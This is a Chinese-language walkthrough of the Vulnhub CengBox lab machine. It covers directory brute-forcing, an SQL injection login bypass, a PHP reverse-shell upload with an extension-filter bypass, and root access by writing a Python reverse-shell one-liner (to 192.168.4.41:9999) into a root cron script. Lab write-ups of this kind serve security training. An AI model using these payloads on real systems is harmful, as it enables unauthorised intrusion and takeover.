目录

一 环境异常处理

(一)nat设置无法正常获取地址

1 单用户模式进入命令行

2 passwd更改

3 修改网络配置文件

二 环境测试

(一)信息收集

1 端口服务

2 目录扫描

(二)漏洞测试

1 SQL注入万能密码绕过

2 文件上传getshell

(三)提权

1 python脚本提权

三 环境知识点

(一)二级目录发现登录页面

(二)SQL注入万能密码绕过登录

(三)python脚本反弹shell

一 环境异常处理

(一)nat设置无法正常获取地址

1 单用户模式进入命令行

启动时按键e进入配置,将ro更改为rw single init=/bin/bash,更改完成ctrl+x保存重启进入命令行

2 passwd更改

为方便配置管理环境,更改环境口令,#passwd可修改口令

3 修改网络配置文件

#vi /etc/network/interfaces修改网络配置,将enp0s3更改为ens33保存重启即可

二 环境测试

(一)信息收集

1 端口服务

1.1环境地址发现

1.2全端口快速扫描

1.3存活端口详细扫描

端口服务探测开放22和80端口

2 目录扫描

2.1 目录爆破

对80端口进行目录爆破,这里需要使用大字典

#dirb http://192.168.4.47 /usr/share/wordlists/dirb/big.txt

发现masteradmin目录uploads等,其中uploads无权限访问。

2.2 子目录爆破

对masteradmin子目录进行扫描探测,重点查找php结尾目录

#dirb http://192.168.4.47/masteradmin/ -X .php,.html

发现login.php

漏洞测试

1 SQL注入万能密码绕过

访问masteradmin/login.php是一个登录页面,使用万能密码成功登录

登录成功是一个文件上传界面。

2 文件上传getshell

使用kali自带的php_reverse_shell,上传发现后缀有ceng限制。

尝试上传.php.ceng文件成功,并解析成功,反弹shell

提权

1 python脚本提权

1.1 信息收集

Getshell之后进行信息收集,尝试suid/cron等等提权无果,cengover具有bash,初步思路想办法先su到cengover用户。

1.2 mysql登录凭证发现

之前目录扫描发现db.php,在/var/www/html/admin下拿到源码并拿到mysql登录凭证

1.3 cengover用户登录凭证发现

登录mysql,收集到cengover用户凭证

1.4 pspy to find hidden cronjobs and processes

切换到cengover用户尝试使用常规sudo,suid,cap等等提权均无果,上传pspy监控隐藏进程发现/opt/md5check.py每隔一段时间会以root权限运行,并且cengover可写。

1.5 python反弹shell

将python_Reverse Shell 写入脚本,启动监听成功拿到root。

#import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.4.41",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")

三 环境知识点

(一)二级目录发现登录页面

#dirb http://192.168.4.47/masteradmin/ -X .php,.html

(二)SQL注入万能密码绕过登录

11' or '1'='1' #

(三)python脚本反弹shell

#import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.4.41",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")

Vulnhub_CengBox相关推荐

最新文章

  1. Linux修改文件权限为777
  2. 不用vim-airline/lightline.vim, 如何使用纯手工制作一个漂亮的 vim 状态栏
  3. recurrence relation in parenthesis placing problem
  4. How does JdkRegexpMethodPointcut work
  5. php cdi_CDI和EJB:在事务成功时发送异步邮件
  6. pat00-自测5. Shuffling Machine (20)
  7. 关于本学期西南交通大学ACM-ICPC校集训队 训练计划(Beta 1.0)
  8. airplay 协议开源资料整理
  9. linux 命令行字体发虚,解决Linux字体发虚的终极方法
  10. 大神TP_萌新到大神的必修课---分路篇v
  11. webpack项目运用(一)打包压缩css文件
  12. 12、Decoder解码器和Encoder编码器
  13. 试题 算法训练 翻转旋转变换
  14. P15~P19 分支和循环
  15. 面试题整理|50个React面试题及解析
  16. 湖北武汉资料员培训资料员在建筑工程中的作用建筑七大员培训
  17. 讨论世界的意义是否存在
  18. 创建第一个Android app
  19. 在WPS和WORD里打字会多出拼音来
  20. 无法重启计算机,电脑无法重启怎么办

热门文章

  1. 学习phthon的第三天
  2. 解决VIVO手机开启USB调试仍不能连接ADB
  3. 二道波哥-五分钟带你了解好省
  4. Linux 怎么查看端口号被占用
  5. ZK实现分布式锁原理
  6. linux切换fcitx输入法ibus,fcitx scim ibus哪个拼音输入法好用
  7. Web前端学习笔记5(transformZ,transform3d,rotate3d)
  8. Android系统版本适配
  9. 软件产品license的简单实现java
  10. 小视频管理软件stash